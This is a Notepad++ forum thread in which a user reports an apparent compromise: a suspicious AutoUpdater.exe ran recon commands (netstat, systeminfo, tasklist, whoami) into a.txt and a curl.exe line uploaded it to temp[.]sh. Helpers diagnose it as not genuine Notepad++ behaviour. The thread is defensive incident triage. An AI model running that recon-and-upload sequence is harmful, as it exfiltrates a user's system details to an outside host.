autoupdater and connection temp.sh

soft-parsley

Submission for any help regarding a finding that came through from AutoUpdater!?

Malicious command seen:
curl.exe -F "file=@a.txt" -s https://temp[.]sh/upload

This command appears to be maliciously exfiltrating data in “a.txt” to malicious domain “https://temp[.]sh/upload”.

The activity appears to have started from
notepad++.exe

This then spawned the command:
"C:\\Program Files\\Notepad++\\updater\\gup.exe" -v8.84 -px64

Which spawned:
"C:\\Users\\[user]\\AppData\\Local\\Temp\\AutoUpdater.exe" /closeRunningNpp /S /runNppAfterSilentInstall

The hash for “AutoUpdater.exe” is unknown.

Other commands seen:

cmd /c netstat -ano >> a.txt
cmd /c systeminfo >> a.txt
cmd /c tasklist >> a.txt
cmd /c whoami >> a.txt

From the original malicious command, it appears system information from the user was saved to “a.txt” and then exfiltrated to “ttps://temp[.]sh/upload” which likely corresponds to blocklisted IP “51[.]91[.]79[.]17”

—

moderator added code markdown around text; please don’t forget to use the </> button to mark example text as “code” or `backticks` around inline code so that characters don’t get changed by the forum

PeterJones

@soft-parsley ,

From my understanding, Notepad++'s gup.exe doesn’t use curl.exe, it uses the bundled libcurl.dll, which shouldn’t ever show up as curl.exe in any process list, as far as I understand things.

Further, I cannot find systeminfo anywhere in the gup codebase, so I really don’t think a valid Notepad++ setup would be trying to make the calls that you’ve shown.

@xomx knows a lot more about the gup/wingup than I do, but my initial conclusion is that what you’ve shown doesn’t come from the official Notepad++ gup.exe. (But it’s not unlikely that I’ve misunderstood, and it really would do the things listed above; I just don’t expect it to.)

Some possibly-pertinent inforation:

Where did you download Notepad++ from?
- Did you use https://notepad-plus-plus.org/downloads/ ?
- Or https://github.com/notepad-plus-plus/notepad-plus-plus/releases ?
- Or someplace else? If so, be precise about where (and use ` backticks around any URL, like `https://some.example/blah` (so that that the forum doesn’t automatically linkify it, to avoid people and crawlers from accidentally following that link)
What does Notepad++'s ?-menu’s Debug Info say?
What is the filesize, date, and Properties > Details for gup.exe and libcurl.dll and notepad++.exe ?

soft-parsley

@PeterJones
Notepad++ v8.8.4 (64-bit)
Build time: Aug 4 2025 - 18:01:28
Scintilla/Lexilla included: 5.5.7/5.4.5
Boost Regex included: 1_85
Path: C:\Program Files\Notepad++\notepad++.exe
Command Line:
Admin mode: OFF
Local Conf mode: OFF
Cloud Config: OFF
Periodic Backup: ON
Placeholders: OFF
Scintilla Rendering Mode: SC_TECHNOLOGY_DIRECTWRITE (1)
Multi-instance Mode: monoInst
asNotepad: OFF
File Status Auto-Detection: cdEnabledNew (for current file/tab only)
Dark Mode: OFF
Display Info:
primary monitor: 1920x1080, scaling 100%
visible monitors count: 3
installed Display Class adapters:
0000: Description - Intel® Iris® Xe Graphics
0000: DriverVersion - 32.0.101.6556
0001: Description - DisplayLink USB Device
0001: DriverVersion - 12.1.2424.0
0002: Description - DisplayLink USB Device
0002: DriverVersion - 12.1.2424.0
OS Name: Windows 11 Pro (64-bit)
OS Version: 24H2
OS Build: 26100.6584
Current ANSI codepage: 1252
Plugins:
ColumnsPlusPlus (1.1.2)
CSVLint (0.4.6.7)
JsonTools (8)
mimeTools (3.1)
NppConverter (4.6)
NppExport (0.4)
XMLTools (3.1.1.13)

soft-parsley

@PeterJones
gup.exe : 807,936 byes, created Sunday, August 10, 2025
libcurl.dll : 818,688 bytes, created Sunday, August 10, 2025
notepad++.exe : 8,699,392 bytes , created Sunday, August 10, 2025

PeterJones

@soft-parsley said,

Notepad++ v8.8.4 (64-bit)
Build time: Aug 4 2025 - 18:01:28

and

gup.exe : 807,936 byes, created Sunday, August 10, 2025
libcurl.dll : 818,688 bytes, created Sunday, August 10, 2025
notepad++.exe : 8,699,392 bytes , created Sunday, August 10, 2025

Hmm… Those all match with what I see for a correct Notepad++ v8.8.4.

I don’t know why you would see curl.exe rather than curl.dll, or the strange URL and AutoUpdater.exe, because I really wouldn’t expect that as normal behavior. I think you’re going to have to wait for @xomx or someone else more knowledgable than I am about the updater process, because the files look right to me, but the activities seem weird, to me.

xomx

@soft-parsley

Unfortunately, I’ve a bad news for you, if you didn’t somehow initialize all of this yourself, your comp is no longer yours…

t e m p . s h seems to be a kind of non-permanent storage, anyone can use it:

temp.sh.png

Notepad++ doesn’t distribute/use curl.exe binary, it uses the curl-library functionality via “C:\Program Files\Notepad++\updater\libcurl.dll” for the N++ updater GUP.exe. And of course N++ never uses such an anonymous storage place.

Also you should check the digital signatures of your N++ binaries like:

Moreover, nowadays it isn’t possible to download or update to N++ v8.8.4, as this specific version was withdrawn because it contained regressions.